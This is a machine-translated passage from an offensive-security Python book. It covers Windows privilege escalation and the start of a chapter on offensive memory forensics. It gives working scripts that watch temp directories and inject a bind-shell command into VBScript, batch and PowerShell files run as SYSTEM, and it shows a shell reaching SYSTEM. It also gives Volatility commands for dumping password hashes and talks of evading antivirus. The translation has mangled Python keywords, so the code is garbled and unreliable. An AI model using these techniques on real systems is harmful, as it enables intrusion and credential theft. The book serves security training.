scripts para começar a explorar outros cantos obscuros e bolorentos dos seus
alvos do Windows.
Começaremos aprendendo como aplicar a programação WMI do Windows para
criar uma interface flexível que monitore a criação de novos processos.
Coletamos dados úteis, como caminhos de arquivos, o usuário que criou o processo e privilégios
habilitados. Nosso monitoramento de processos então transfere todos os caminhos de arquivos
para um script de monitoramento de arquivos que monitora continuamente quaisquer novos arquivos
criados e o que é gravado neles. Isso nos informa quais arquivos estão sendo acessados por
processos de alto privilégio e a localização do arquivo. A etapa final é interceptar o processo de
criação de arquivo para que possamos injetar código de script e fazer com que o processo de alto
privilégio execute um shell de comando. A beleza de todo esse processo é que ele não envolve
nenhuma conexão de API, portanto, podemos voar sob o radar da maioria dos softwares antivírus.

Instalando os pré-requisitos
Precisamos instalar algumas bibliotecas para escrever as ferramentas deste capítulo.
Se você seguiu as instruções iniciais no início do livro, você terá o easy_install pronto
para funcionar. Caso contrário, consulte o Capítulo 1 para obter instruções sobre como
instalar o easy_install.
Execute o seguinte em um shell cmd.exe em sua VM do Windows:

C:\> easy_install pywin32 wmi

Se por algum motivo este método de instalação não funcionar para você, baixe
o instalador PyWin32 diretamente de http:// sourceforge.net/ projects/
pywin32/.
Em seguida, você desejará instalar o serviço de exemplo que meus revisores
técnicos Dan Frisch e Cliff Janzen escreveram para mim. Este serviço emula um conjunto
comum de vulnerabilidades que descobrimos em grandes redes corporativas e ajuda a
ilustrar o código de exemplo neste capítulo.

1. Baixe o arquivo zip em: http:// www.nostarch.com/ blackhatpython/


bhpservice.zip.
2. Instale o serviço usando o script em lote fornecido, install_service.bat.
Certifique-se de estar executando como Administrador ao fazer isso.

Você deve estar pronto para ir, então agora vamos para a parte divertida!

138 Capítulo 10
www.it-ebooks.info
Machine Translated by Google

Criando um Monitor de Processo


Participei de um projeto para Imunidade chamado El Jefe, que é basicamente um sistema de
monitoramento de processos muito simples com registro centralizado(http:// eljefe
.immunityinc.com/). A ferramenta foi projetada para ser usada por pessoas do lado da defesa
da segurança para rastrear a criação de processos e a instalação de malware.
Certo dia, durante uma consultoria, meu colega de trabalho Mark Wuergler sugeriu que
usássemos El Jefe como um mecanismo leve para monitorar processos executados como
SYSTEM em nossas máquinas Windows de destino. Isso nos daria uma visão sobre o manuseio
de arquivos potencialmente inseguros ou a criação de processos filhos. Funcionou e saímos
com vários bugs de escalonamento de privilégios que nos deram as chaves do reino.

A principal desvantagem do El Jefe original é que ele usava uma DLL que era injetada
em cada processo para interceptar chamadas para todas as formas da função nativa
CreateProcess . Em seguida, ele usou um canal nomeado para se comunicar com o cliente
de coleta, que então encaminhou os detalhes da criação do processo para o servidor de
registro. O problema com isso é que a maioria dos softwares antivírus também intercepta as
chamadas CreateProcess , então eles veem você como malware ou você tem problemas de
instabilidade do sistema quando El Jefe é executado lado a lado com o software antivírus.
Recriaremos algumas das capacidades de monitoramento de El Jefe sem ganchos, que também
serão voltadas para técnicas ofensivas em vez de monitoramento. Isso deve tornar nosso
monitoramento portátil e nos permitir executar software antivírus ativado sem problemas.

Monitoramento de processos com WMI

A API WMI dá ao programador a capacidade de monitorar o sistema em busca de determinados


eventos e, em seguida, receber retornos de chamada quando esses eventos ocorrerem.
Aproveitaremos essa interface para receber um retorno de chamada sempre que um processo for criado.
Quando um processo é criado, vamos capturar algumas informações valiosas para nossos
propósitos: a hora em que o processo foi criado, o usuário que gerou o processo, o executável
que foi iniciado e seus argumentos de linha de comando, o ID do processo e o ID do processo
pai. Isso nos mostrará quaisquer processos criados por contas com privilégios mais altos e, em
particular, quaisquer processos que estejam chamando arquivos externos, como VBScript ou
scripts em lote.
Quando tivermos todas essas informações, também determinaremos quais privilégios estão
habilitados nos tokens do processo. Em certos casos raros, você encontrará processos
criados como um usuário normal, mas aos quais foram concedidos privilégios adicionais do
Windows que você pode aproveitar.
Vamos começar criando um script de monitoramento1 muito simples que forneça
as informações básicas do processo e, em seguida, desenvolva-o para determinar os
privilégios habilitados. Observe que para capturar informações sobre

1. Este código foi adaptado da página Python WMI (http:// timgolden.me.uk/ python/ wmi/
tutorial.html).

Escalonamento de privilégios do Windows 139

www.it-ebooks.info
Machine Translated by Google

processos de alto privilégio criados por SYSTEM, por exemplo, você precisará
executar seu script de monitoramento como administrador. Vamos começar
adicionando o seguinte código ao process_monitor.py:

importar win32con
importar win32api
importar win32security

importar wmi importar

sistema importar

sistema operacional

def log_to_file(mensagem): fd =
open("process_monitor_log.csv", "ab") fd.write("%s\r\n" %
mensagem) fd.close()

retornar

# cria um cabeçalho de arquivo de


log log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

# instancia a interface WMI


uc = wmi.WMI()

# crie nosso monitor de processo


v process_watcher = c.Win32_Process.watch_for("criação")

enquanto True:
tente:
Em new_process = process_watcher()

x proc_owner = new_process.GetOwner() proc_owner


= "%s\\%s" % (proc_owner[0],proc_owner[2]) create_date =
new_process.CreationDate executável =
new_process.ExecutablePath cmdline =
new_process.CommandLine pid =
new_process.ProcessId parent_pid =
novo_processo.ParentProcessId

privilégios = "N/A"

process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date, ¬ proc_owner,


executável, cmdline, pid, parent_pid, privilégios)

imprimir process_log_message

log_to_file(process_log_message)

exceto:
passar

140 Capítulo 10
www.it-ebooks.info
Machine Translated by Google

Começamos instanciando a classe WMI u e, em seguida, informando-a para observar o evento


de criação do processo v. Ao ler a documentação do WMI do Python, aprendemos que você pode
monitorar eventos de criação ou exclusão de processos. Se você decidir monitorar de perto os
eventos do processo, poderá usar a operação e ela notificará você sobre cada evento pelo qual um
processo passa. Em seguida, entramos em um loop, e o loop é bloqueado até process_watcher

retorna um novo evento de processo w. O novo evento de processo é uma classe WMI chamada
Win32_Process2 que contém todas as informações relevantes que procuramos.
Uma das funções da classe é GetOwner, que chamamos de x para determinar quem gerou o
processo e a partir daí coletamos todas as informações do processo que procuramos, exibimos na
tela e registramos em um arquivo.

Chutando os pneus

Vamos iniciar nosso script de monitoramento de processos e, em seguida, criar alguns processos
para ver como será o resultado.

C:\> python process_monitor.py

20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,740.508,N/A

20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
calc.exe,"C:\WINDOWS\system32\calc.exe" ,2920.508,N/A

Depois de executar o script, executei notepad.exe e calc.exe. Você pode ver as informações
sendo geradas corretamente e perceber que ambos os processos tinham o PID pai definido como
508, que é o ID do processo explorer.exe em minha VM. Agora você pode fazer uma pausa
prolongada e deixar esse script rodar por um dia e ver todos os processos, tarefas agendadas e
vários atualizadores de software em execução. Você também pode detectar malware se tiver
(azar). Também é útil fazer logout e login novamente no seu destino, pois os eventos gerados a partir
dessas ações podem indicar processos privilegiados. Agora que implementamos o monitoramento
básico de processos, vamos preencher o campo de privilégios em nosso registro e aprender um
pouco sobre como os privilégios do Windows funcionam e por que eles são importantes.

Privilégios de token do Windows

Um token do Windows é, de acordo com a Microsoft: “um objeto que descreve o contexto de
segurança de um processo ou thread”.3 A forma como um token é inicializado e quais
permissões e privilégios são definidos em um token determinam quais tarefas esse processo ou
thread pode executar. Um desenvolvedor bem-intencionado pode ter um aplicativo na bandeja do
sistema como parte de um produto de segurança, que gostaria de dar a um usuário não privilegiado
a capacidade de controlar o serviço principal do Windows, que é um driver. O desenvolvedor usa a
função API nativa do Windows

2. Documentação da classe Win32_Process : http:// msdn.microsoft.com/ en-us/ library/ aa394372(v=vs.85)


.aspx
3. MSDN – Tokens de acesso: http:// msdn.microsoft.com/ en-us/ library/ Aa374909.aspx

Escalação de privilégios do Windows 141

www.it-ebooks.info
Machine Translated by Google

AdjustTokenPrivileges no processo e inocentemente concede ao aplicativo da bandeja do sistema o


privilégio SeLoadDriver . O que o desenvolvedor não está pensando é no fato de que se você puder
entrar naquele aplicativo da bandeja do sistema, agora você também terá a capacidade de carregar
ou descarregar qualquer driver que desejar, o que significa que você pode descartar um rootkit no
modo kernel - e isso significa jogo sobre.
Tenha em mente que se você não consegue executar seu monitor de processo como SYSTEM
ou como usuário administrativo, então você precisa ficar de olho em quais processos você está
capaz de monitorar e ver se há algum privilégio adicional que você possa aproveitar. Um processo
executado como seu usuário com privilégios errados é uma maneira fantástica de acessar SYSTEM
ou executar código no kernel. Privilégios interessantes que sempre procuro estão listados na Tabela
10-1. Não é exaustivo, mas serve como um bom ponto de partida.4

Tabela 10-1: Privilégios Interessantes

Nome do privilégio Acesso concedido

VejaBackupPrivilege Isso permite que o processo do usuário faça backup de arquivos e diretórios
e concede acesso READ aos arquivos, independentemente do que sua
ACL definir.

SeDebugPrivilege Isso permite que o processo do usuário depure outros processos. Isso também
inclui a obtenção de identificadores de processo para injetar DLLs ou código
em processos em execução.
SeLoadDriver Isso permite que um processo de usuário carregue ou descarrega drivers.

Agora que temos os fundamentos do que são privilégios e quais privilégios procurar, vamos
aproveitar o Python para recuperar automaticamente os privilégios habilitados nos processos que
estamos monitorando. Faremos uso dos módulos win32security, win32api e win32con . Se você
encontrar uma situação em que não consiga carregar esses módulos, todas as funções a seguir
poderão ser traduzidas em chamadas nativas usando a biblioteca ctypes; é apenas muito mais
trabalho. Adicione o seguinte código a process_monitor.py diretamente acima de nossa função
log_to_file existente :

def get_process_privileges(pid):
tentar:
#obtém um identificador para o processo alvo
em hproc=win32api.OpenProcess(win32con.PROCESS_QUERY_¬
INFORMAÇÃO,Falso,pid)

#abre o token do processo principal


em htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

# recupera a lista de privilégios habilitados


Em privs = win32security.GetTokenInformation(htok, win32security.¬
Privilégios de Token)

4. Para obter a lista completa de privilégios, visite http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/
bb530716(v=vs.85).aspx.

142 Capítulo 10

www.it-ebooks.info
Machine Translated by Google

# iterar sobre os privilégios e exibir aqueles que estão habilitados


""
lista_privada
= para i em privs:
# verifica se o privilégio está habilitado
xy se eu[1] == 3:
lista_privada += "%s|" % win32segurança.¬
LookupPrivilegeName(Nenhum,i[0])
exceto:
lista_privada = "N/A"

retornar lista_privada

Usamos o ID do processo para obter um identificador para o processo de destino u. Em


seguida, abrimos o token do processo v e, em seguida, solicitamos as informações do token
para esse processo w. Ao enviar a estrutura win32security.TokenPrivileges , estamos
instruindo a chamada da API a devolver todas as informações de privilégio desse processo.
A chamada de função retorna uma lista de tuplas, onde o primeiro membro da tupla é o
privilégio e o segundo membro descreve se o privilégio está habilitado ou não. Como estamos
preocupados apenas com os privilégios habilitados, primeiro verificamos os bits habilitados x e
depois procuramos o nome legível para esse privilégio y.

A seguir, modificaremos nosso código existente para gerar e registrar adequadamente


essas informações. Altere a seguinte linha de código:

privilégios = "N/A"

para o seguinte:

privilégios = get_process_privileges(pid)

Agora que adicionamos nosso código de rastreamento de privilégios, vamos


executar novamente o script process_monitor.py e verificar a saída. Você deverá ver
informações de privilégio conforme mostrado na saída abaixo:

C:\> python.exe process_monitor.py


20130907233506.055054-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,660.508,SeChangeNotifyPrivilege¬ |
SeImpersonatePrivilege|SeCreateGlobalPrivilege|

20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
calc.exe,"C:\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|¬
SeImpersonatePrivilege|SeCreateGlobalPrivilege|

Você pode ver que estamos registrando corretamente os privilégios habilitados para
esses processos. Poderíamos facilmente colocar alguma inteligência no script para registrar
apenas processos executados como um usuário sem privilégios, mas com privilégios
interessantes ativados. Veremos como esse uso de monitoramento de processos nos permitirá
encontrar processos que utilizam arquivos externos de forma insegura.

Escalonamento de privilégios do Windows 143

www.it-ebooks.info
Machine Translated by Google

Vencendo a corrida
Scripts em lote, VBScript e scripts do PowerShell facilitam a vida dos administradores
de sistema, automatizando tarefas monótonas. Sua finalidade pode variar desde
registrar-se continuamente em um serviço de inventário central até forçar atualizações
de software de seus próprios repositórios. Um problema comum é a falta de ACLs
adequadas nesses arquivos de script. Em vários casos, em servidores seguros,
encontrei scripts em lote ou scripts do PowerShell que são executados uma vez por
dia pelo usuário SYSTEM e podem ser gravados globalmente por qualquer usuário.
Se você executar o monitor de processo por tempo suficiente em uma empresa
(ou simplesmente instalar o serviço de exemplo fornecido no início deste capítulo),
poderá ver registros de processo parecidos com estes:

20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.¬
exe, C:\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.¬
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal¬
Privilégio|

Você pode ver que um processo SYSTEM gerou o binário cscript.exe e passou
no parâmetro C:\WINDOWS\Temp\andldsddfggg.vbs . O serviço de exemplo fornecido
deve gerar esses eventos uma vez por minuto. Se você fizer uma listagem de diretórios,
não verá este arquivo presente. O que está acontecendo é que o serviço está criando
um nome de arquivo aleatório, colocando o VBScript no arquivo e, em seguida,
executando esse VBScript. Já vi essa ação executada por software comercial em
vários casos e já vi software que copia arquivos em um local temporário, executa e
depois exclui esses arquivos.
Para explorar esta condição, temos que vencer efetivamente uma corrida contra o código
em execução. Quando o software ou a tarefa agendada cria o arquivo, precisamos ser capazes
de injetar nosso próprio código no arquivo antes que o processo o execute e, finalmente, exclua-o.
O truque para isso é a útil API do Windows chamada ReadDirectoryChangesW, que nos permite
monitorar um diretório em busca de quaisquer alterações em arquivos ou subdiretórios. Também
podemos filtrar esses eventos para que possamos determinar quando o arquivo foi “salvo” para que
possamos injetar rapidamente nosso código antes de ser executado. Pode ser extremamente útil
simplesmente ficar de olho em todos os diretórios temporários por um período de 24 horas ou mais,
porque às vezes você encontrará bugs interessantes ou divulgações de informações além de
possíveis escalações de privilégios.

Vamos começar criando um monitor de arquivos e, em seguida, desenvolveremos


isso para injetar código automaticamente. Crie um novo arquivo chamado
file_monitor.py e faça o seguinte:

# Exemplo modificado que é fornecido originalmente aqui:


# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.¬
HTML

importar arquivo temporário

importar threading
importar arquivo win32
importar win32con
importe-nos

144 Capítulo 10

www.it-ebooks.info
Machine Translated by Google

# estes são os diretórios de arquivos temporários comuns u


dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# constantes de modificação de arquivo


FILE_CREATED =1
ARQUIVO_DELETED =2
ARQUIVO_MODIFICADO = 3

ARQUIVO_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(caminho_para_watch):

# criamos um thread para cada execução de monitoramento


FILE_LIST_DIRECTORY = 0x0001

v h_directory = win32file.CreateFile( path_to_watch,

FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_¬
SHARE_DELETE,

Nenhum,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS, Nenhum)

enquanto 1:

tente:
Em resultados = win32file.ReadDirectoryChangesW(h_directory,
1024, True,

win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE
| .FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY, Nenhum,
Nenhum

x para ação, nome_do_arquivo nos resultados:


full_filename = os.path.join(path_to_watch, file_name)

if action == FILE_CREATED: print


"[ + ] Criado %s" % full_filename elif action ==
FILE_DELETED: print "[ - ] Excluído
%s" % full_filename elif action == FILE_MODIFIED:
print "[ * ] Modificado %s" %
nome_do_arquivo completo

# despeja o conteúdo do arquivo print


"[vvv] Despejando conteúdo..."

Escalação de privilégios do Windows 145

www.it-ebooks.info
Machine Translated by Google

e tentar:
fd = open(nome_arquivo completo,"rb")
conteúdo = fd.read()
fd.fechar()
imprimir conteúdo
imprima "[^^^] Despejo concluído."
exceto:
imprimir "[!!!] Falha."

ação elif == FILE_RENAMED_FROM:


imprimir "[ > ] Renomeado de: %s" % full_filename
ação elif == FILE_RENAMED_TO:
imprimir "[ < ] Renomeado para: %s" % full_filename
outro:
imprimir "[???] Desconhecido: %s" % full_filename
exceto:
passar

para caminho em dirs_to_monitor:


monitor_thread = threading.Thread(target=start_monitor,args=(caminho,))
print "Gerando thread de monitoramento para caminho: %s" % caminho
monitor_thread.start()

Definimos uma lista de diretórios que gostaríamos de monitorar, que no nosso


caso são os dois diretórios comuns de arquivos temporários. Lembre-se de que
pode haver outros lugares que você deseja ficar de olho, então edite esta lista
conforme achar necessário. Para cada um desses caminhos, criaremos um thread de
monitoramento que chama a função start_monitor . A primeira tarefa desta função é
adquirir um identificador para o diretório que desejamos monitorar v. Em seguida,
chamamos a função ReadDirectoryChangesW w, que nos notifica quando ocorre uma alteração.
Recebemos o nome do arquivo de destino que foi alterado e o tipo de evento que
aconteceu x. A partir daqui, imprimimos informações úteis sobre o que aconteceu
com aquele arquivo específico e, se detectarmos que ele foi modificado, despejamos
o conteúdo do arquivo para referência y.

Chutando os pneus

Abra um shell cmd.exe e execute file_monitor.py:

C:\> python.exe arquivo_monitor.py

Abra um segundo shell cmd.exe e execute os seguintes comandos:

C:\> cd %temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> renomear arquivotest file2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del arquivo2test

146 Capítulo 10
www.it-ebooks.info
Machine Translated by Google

Você deverá ver uma saída semelhante a esta:

Gerando thread de monitoramento para o caminho: C:\WINDOWS\Temp


Gerando thread de monitoramento para o caminho: c:\docume~1\admini~1\locals~1\temp
[ + ] Criado em c:\docume~1\admini~1\locals~1\temp\filetest
[*] Modificado c:\docume~1\admini~1\locals~1\temp\filetest
[vvv] Despejando conteúdo...
olá

[^^^] Despejo concluído.


[ > ] Renomeado de: c:\docume~1\admini~1\locals~1\temp\filetest
[ < ] Renomeado para: c:\docume~1\admini~1\locals~1\temp\file2test
[*] Modificado c:\docume~1\admini~1\locals~1\temp\file2test
[vvv] Despejando conteúdo...
olá

[^^^] Despejo concluído.


[ - ] Excluído c:\docume~1\admini~1\locals~1\temp\FILE2T~1

Se tudo acima funcionou conforme planejado, recomendo que você mantenha seu monitor de
arquivos funcionando por 24 horas em um sistema de destino. Você pode se surpreender (ou não)
ao ver arquivos sendo criados, executados e excluídos. Você também pode usar seu script de
monitoramento de processos para tentar encontrar caminhos de arquivos interessantes para
monitorar. As atualizações de software podem ser de particular interesse. Vamos prosseguir e
adicionar a capacidade de injetar código automaticamente em um arquivo de destino.

Injeção de código
Agora que podemos monitorar processos e locais de arquivos, vamos dar uma olhada em como
injetar código automaticamente nos arquivos de destino. As linguagens de script mais comuns
que já vi empregadas são VBScript, arquivos em lote e PowerShell. Criaremos trechos de código
muito simples que gerarão uma versão compilada de nossa ferramenta bhpnet.py com o nível de
privilégio do serviço de origem. Há uma vasta gama de coisas desagradáveis que você pode fazer
com essas linguagens de script;5 criaremos a estrutura geral para fazer isso e você poderá correr
solto a partir daí. Vamos modificar nosso script file_monitor.py e adicionar o seguinte código após
as constantes de modificação do arquivo:

você file_types = {}

comando = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c"


file_types['.vbs'] =
["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n " %¬
comando]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % comando]

file_types['.ps1'] = ["\r\n#bhpmarker","Iniciar Processo \"%s\"\r\n" % comando]

5. Carlos Perez faz um trabalho incrível com PowerShell; consulte http:// www.darkoperator.com/.

Escalação de privilégios do Windows 147

www.it-ebooks.info
Machine Translated by Google

#função para lidar com a injeção de código


def inject_code(nome_do_arquivo completo,extensão,conteúdo):

# nosso marcador já está no arquivo?


v se file_types[extension][0] no conteúdo:
retornar

# sem marcador; vamos injetar o marcador e o código


full_contents = file_types[extensão][0] full_contents +=
file_types[extensão][1]
full_contents += conteúdo

w fd = open(full_filename,"wb")
fd.write(full_contents)
fd.fechar()

print "[\o/] Código injetado."

retornar

Começamos definindo um dicionário de trechos de código que correspondem a um determinado


lar extensão de arquivo u que inclui um marcador exclusivo e o código que queremos injetar. A razão
pela qual usamos um marcador é porque podemos entrar em um loop infinito no qual vemos uma
modificação de arquivo, inserimos nosso código (o que causa um evento subsequente de modificação
de arquivo) e assim por diante. Isso continua até que o arquivo fique gigantesco e o disco rígido comece
a chorar. O próximo trecho de código é nossa função inject_code que lida com a injeção de código
real e a verificação do marcador de arquivo. Depois de verificarmos que o marcador não existe v,
escrevemos o marcador e o código que queremos que o processo alvo execute w. Agora precisamos
modificar nosso loop de eventos principal para incluir nossa verificação de extensão de arquivo e a
chamada para inject_code.

--recorte--
ação elif == FILE_MODIFIED:
imprimir "[ * ] %s modificado" % full_filename

# despeja o conteúdo do arquivo


print "[vvv] Despejando conteúdo..."

tentar:
fd = open(nome_arquivo completo,"rb")
conteúdo = fd.read()
fd.fechar()
imprimir conteúdo
imprima "[^^^] Despejo concluído."
exceto:
imprimir "[!!!] Falha."

148 Capítulo 10
www.it-ebooks.info
Machine Translated by Google

#### NOVO CÓDIGO COMEÇA AQUI

em nome do arquivo, extensão = os.path.splitext (nome_do_arquivo completo)

em if extensão em file_types:
inject_code(full_filename,extensão,conteúdo)
#### FIM DO NOVO CÓDIGO

--recorte--

Esta é uma adição bastante simples ao nosso loop primário. Fazemos uma divisão
rápida da extensão do arquivo u e, em seguida, verificamos em nosso dicionário de tipos
de arquivos conhecidos v. Se a extensão do arquivo for detectada em nosso dicionário,
chamamos nossa função inject_code . Vamos dar uma volta.

Chutando os pneus

Se você instalou o serviço vulnerável de exemplo no início deste capítulo, poderá


testar facilmente seu novo e sofisticado injetor de código. Certifique-se de que o serviço
esteja em execução e simplesmente execute o script file_monitor.py . Eventualmente,
você deverá ver uma saída indicando que um arquivo .vbs foi criado e modificado e que
o código foi injetado. Se tudo correr bem, você poderá executar o script bhpnet.py do
Capítulo 2 para conectar o ouvinte que acabou de gerar. Para ter certeza de que seu
escalonamento de privilégios funcionou, conecte-se ao ouvinte e verifique com qual
usuário você está executando.

justin $ ./bhpnet.py -t 192.168.1.10 -p 9999


<CTRL-D>
<BHP:#> uau
AUTORIDADE NT\SISTEMA
<BHP:#>

Isso indicará que você alcançou a conta sagrada do SISTEMA e


que sua injeção de código funcionou.
Você pode ter chegado ao final deste capítulo pensando que alguns desses
ataques são um pouco esotéricos. Porém, quanto mais tempo você passa dentro de
uma grande empresa, mais perceberá que esses ataques são bastante viáveis. As
ferramentas deste capítulo podem ser facilmente expandidas ou transformadas em
scripts especiais únicos que você pode usar em casos específicos para comprometer
uma conta ou aplicativo local. O WMI sozinho pode ser uma excelente fonte de dados
de reconhecimento local que você pode usar para promover um ataque quando estiver
dentro de uma rede. O escalonamento de privilégios é uma peça essencial para qualquer bom trojan.

Escalação de privilégios do Windows 149

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

11
Automatização
Perícia Forense Ofensiva

O pessoal forense é frequentemente chamado após uma violação ou para determinar se ocorreu

um “incidente”. Eles normalmente desejam um instantâneo da RAM da máquina afetada para

capturar chaves criptográficas ou outras informações que residem apenas na memória.

Para a sorte deles, uma equipe de desenvolvedores talentosos criou uma estrutura Python

completa adequada para esta tarefa chamada Volatilidade, anunciada como uma estrutura

forense de memória avançada. Respondentes de incidentes, examinadores forenses e


analistas de malware também podem usar o Volatility para uma variedade de outras
tarefas, incluindo inspeção de objetos do kernel, exame e despejo de processos e assim por
diante. É claro que estamos mais interessados nas capacidades ofensivas que a Volatilidade
oferece.

Primeiro exploraremos o uso de alguns dos recursos de linha de comando para recuperar
hashes de senha de uma máquina virtual VMWare em execução e, em seguida, mostraremos

www.it-ebooks.info
Machine Translated by Google

como podemos automatizar esse processo de duas etapas incluindo Volatilidade em


nossos scripts. O exemplo final mostra como podemos injetar shellcode diretamente em
uma VM em execução em um local preciso que escolhermos. Essa técnica pode ser útil para
capturar usuários paranóicos que navegam ou enviam e-mails apenas de uma VM.
Também podemos deixar um backdoor oculto em um snapshot da VM que será executado
quando o administrador restaurar a VM. Esse método de injeção de código também é útil
para executar código em um computador que possui uma porta FireWire que você pode
acessar, mas que está bloqueada ou inativa e requer uma senha. Vamos começar!

Instalação
A volatilidade é extremamente fácil de instalar; você só precisa baixá-lo em https://
code.google.com/ p/ volatility/ downloads/ list. Normalmente não faço uma instalação
completa. Em vez disso, mantenho-o em um diretório local e adiciono o diretório ao meu
caminho de trabalho, como você verá nas seções a seguir. Um instalador do Windows também
está incluído. Escolha o método de instalação de sua preferência; deve funcionar bem, faça
o que fizer.

Perfis
A volatilidade usa o conceito de perfis para determinar como aplicar as assinaturas e
compensações necessárias para extrair informações dos despejos de memória. Mas se
você puder recuperar uma imagem de memória de um alvo via FireWire ou remotamente,
talvez não saiba necessariamente a versão exata do sistema operacional que está
atacando. Felizmente, o Volatility inclui um plugin chamado imageinfo
que tenta determinar qual perfil você deve usar no alvo.
Você pode executar o plugin assim:

$ python vol.py imageinfo -f "memorydump.img"

Depois de executá-lo, você deverá recuperar uma boa quantidade de informações. O


A linha mais importante é a linha de Perfis Sugeridos , que deve ser semelhante a esta:

Perfis sugeridos: WinXPSP2x86, WinXPSP3x86

Ao realizar os próximos exercícios em um alvo, você deve definir o sinalizador de linha


de comando --profile com o valor apropriado mostrado, começando com o primeiro listado. No
cenário acima, usaríamos:

$ python vol.py plugin --profile="WinXPSP2x86" argumentos

Você saberá se definir o perfil errado porque nenhum dos plug-ins irá
funcionar corretamente ou o Volatility gerará erros indicando que não foi possível encontrar
um mapeamento de endereço adequado.

152 Capítulo 11

www.it-ebooks.info
Machine Translated by Google

Agarrando hashes de senha


Recuperar os hashes de senha em uma máquina Windows após a penetração é um objetivo comum
entre os invasores. Esses hashes podem ser quebrados offline na tentativa de recuperar a senha do
alvo ou podem ser usados em um ataque pass-the-hash para obter acesso a outros recursos da rede.
Examinar as VMs ou instantâneos em um destino é um lugar perfeito para tentar recuperar esses
hashes.

Quer o alvo seja um usuário paranóico que executa operações de alto risco apenas em
uma VM ou uma empresa que tenta conter algumas das atividades de seus usuários com
VMs, as VMs representam um excelente ponto para coletar informações após você obter
acesso ao hardware hospedeiro.
A volatilidade torna esse processo de recuperação extremamente fácil. Primeiro,
veremos como operar os plug-ins necessários para recuperar os deslocamentos na memória
onde os hashes de senha podem ser recuperados e, em seguida, recuperar os próprios
hashes. Em seguida, criaremos um script para combinar isso em uma única etapa.
O Windows armazena senhas locais na seção de registro SAM em formato hash
e, junto com isso, a chave de inicialização do Windows armazenada na seção de registro
do sistema . Precisamos de ambas as colmeias para extrair os hashes de uma imagem de
memória. Para começar, vamos executar o plugin hivelist para fazer com que o Volatility
extraia os deslocamentos na memória onde essas duas colmeias residem. Em seguida,
passaremos essas informações para o plugin hashdump para fazer a extração real do hash.
Entre no seu terminal e execute o seguinte comando:

$ python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem"

Depois de um ou dois minutos, você verá alguma saída exibindo onde essas seções
do registro residem na memória. Recortei uma parte da saída por uma questão de brevidade.

Virtual Nome Físico


---------- ---------- ----

0xe1666b60 0x0ff01b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software


0xe1673b60 0x0fedbb60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1455758 0x070f7758 [sem nome]
0xe1035b60 0x06cd3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system

Na saída, você pode ver os deslocamentos de memória virtual e física do SAM e das chaves
do sistema em negrito. Tenha em mente que o deslocamento virtual trata de onde na memória,
em relação ao sistema operacional, essas colmeias existem. O deslocamento físico é o local no
arquivo .vmem real no disco onde essas seções existem. Agora que temos o SAM e os hives do
sistema , podemos passar os deslocamentos virtuais para o plugin hashdump . Volte ao seu
terminal e digite o seguinte comando, lembrando que seus endereços virtuais serão diferentes dos
que mostro.

$ python vol.py hashdump -d -d -f "WindowsXPSP2.vmem" ¬


--profile=WinXPSP2x86 -y 0xe1035b60 -s 0xe17adb60

Automatizando Perícia Forense Ofensiva 153

www.it-ebooks.info
Machine Translated by Google

